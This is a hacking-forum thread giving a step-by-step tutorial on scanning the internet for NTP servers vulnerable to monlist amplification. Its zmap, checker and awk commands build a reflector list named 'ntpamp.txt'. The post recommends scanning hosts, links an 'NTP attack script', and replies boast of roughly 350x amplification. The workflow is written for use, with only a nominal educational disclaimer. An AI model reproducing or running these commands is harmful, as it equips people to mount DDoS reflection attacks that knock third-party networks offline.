[ma‌ns]

NTP scanning and filtering tutorial*
*All the scripts used arent coded by me and I didnt invent any of this. Im just sharing it with you guys because sharing is caring.


Why I made this tutorial

I just do this to help other people that dont know how to do this. And I couldnt really find any other HQ thread that covers NTP scanning and filtering.


Requirements

1. A VPS / Dedicated server that you can scan on (see 'Hosting' for some hosts). (I use centos 6.x)
2. Alot of bandwith
3. ntpchecker: http://www.mediafire.com/download/69htm0...ntpchecker
4. ntp_123_monlist.pkt: http://www.mediafire.com/download/2c369n...onlist.pkt
5. A brain (jk you wont need one)


Hosting for scanning

Here are some hosting that I think are good for scanning:
http://ecatel.co.uk/
http://www.ovh.com/ca/en/
http://www.soyoustart.com/ca/en/
https://www.kimsufi.com/en/
http://colocrossing.com/
https://www.datashack.net/ (This is the one that I used and I had pretty good results 😉)


How to scan

Spoiler (Click to View)
Update your server

Code

yum -y update

Install repositorys
Centos 6:

Code

wget http://dl.fedoraproject.org/pub/epel/6/x86_64/epel-release-6-8.noarch.rpm
sudo rpm -Uvh epel-release-6-8.noarch.rpm

Centos 7:

Code

wget http://dl.fedoraproject.org/pub/epel/7/x86_64/e/epel-release-7-5.noarch.rpm
sudo rpm -Uvh epel-release-7-5.noarch.rpm

Install dependencies

Code

yum install gcc libcap  libpcap libpcap-devel screen php dstat cmake gmp gmp-devel gengetopt byacc flex git json-c

Install Zmap

Code

yum -y install zmap

- Upload the NTPChecker to your server -
- Upload the ntp_123_monlist.pkt to your server -

Start the scan

Code

screen zmap -p 123 -M udp --probe-args=file:/root/ntp_123_monlist.pkt -o monlist_fingerprint.txt

It can take pretty long please wait it out.
Run the ntpchecker
Give it permissions first:

Code

chmod 777 ntpchecker

Run the checker:

Code

screen ./ntpchecker monlist_fingerprint.txt step1.txt 1 0 1

Filter the list

Code

awk '$2>419{print $1}' step1.txt | sort -n | uniq | sort -R > ntpamp.txt

Enjoy!
(My results where about 350x amplification: http://prntscr.com/9m34rx http://prntscr.com/9mhwrl )


Extra info

- If you have any issues post them below. -
- NTP attack script: http://pastebin.com/raw/PJeYk4Bc (Thanks for the amazing script: https://hackforums.net/member.php?action...id=2623266).
- I usually type screen first and when it opens the screen I type the command. -

This is for educational purposes only.

Thanks to:
Google
All of hackforums
https://hackforums.net/member.php?action...id=2350472 for the dstat

This was my first tutorial. Please leave a thanks if you have enjoyed this tutorial. 🤝

---

I didnt really know in what section to post this so please tell me if i posted it in the wrong section.

[Tirentz]

When i scan with zmap it never outputs the results.

i use this command
zmap -M udp -p 123 --probe-args=file:ntp_123_monlist.pkt -o monlist_fingerprint.txt

[ma‌ns]

When i scan with zmap it never outputs the results.

i use this command
zmap -M udp -p 123 --probe-args=file:ntp_123_monlist.pkt -o monlist_fingerprint.txt

I forgot to put it in the thread look at it now :D

[Knowledgeable]

so why use zmap and monlist method as opposed to an ntp c scanner?

[OGSkypeThug]

so why use zmap and monlist method as opposed to an ntp c scanner?

so why use a ntp c scanner opposed to zmap and monlist method

[ma‌ns]

so why use a ntp c scanner opposed to zmap and monlist method

You, I like you

---

so why use zmap and monlist method as opposed to an ntp c scanner?

Because I simlpy get better results doing it this way, but on the other hand it takes way longer. If you want it to be done faster you can also use the ntpscanner and filter that but I got way better results with this.

[Knowledgeable]

You, I like you

---

Because I simlpy get better results doing it this way, but on the other hand it takes way longer. If you want it to be done faster you can also use the ntpscanner and filter that but I got way better results with this.

thanks for the reply
when you say better results, are you meaning bigger lists or stronger lists?

[OGSkypeThug]

thanks for the reply
when you say better results, are you meaning bigger lists or stronger lists?

You also got to note, if your host filters NTP you won't get good lists.

[ma‌ns]

You also got to note, if your host filters NTP you won't get good lists.

Ill put it in the thread.

---

thanks for the reply
when you say better results, are you meaning bigger lists or stronger lists?

Im getting a bigger amp factor and the lists are also about 2x as big.

[Jаson]

It's a known fact that zmap works better than the C scripts. 👍

[OGSkypeThug]

It's a known fact that zmap works better than the C scripts. 👍

It's a known fact you suffer from the intellectual disability

[ma‌ns]

It's a known fact you suffer from the intellectual disability

It's a known fact that this post is useless.

[Proxseas]

That's around 45x? Where the hell did you pull 350x from

[ma‌ns]

That's around 45x? Where the hell did you pull 350x from

My server outputted 10 mbps and in the dstat it hit 3.5gbps Im not the smartest guy but I calculated that to be around 350x amp

[Knowledgeable]

Ill put it in the thread.

---

Im getting a bigger amp factor and the lists are also about 2x as big.

hm, ill take note and run a new scan tonight or tomorrow with your method and see how it goes and post back. thanks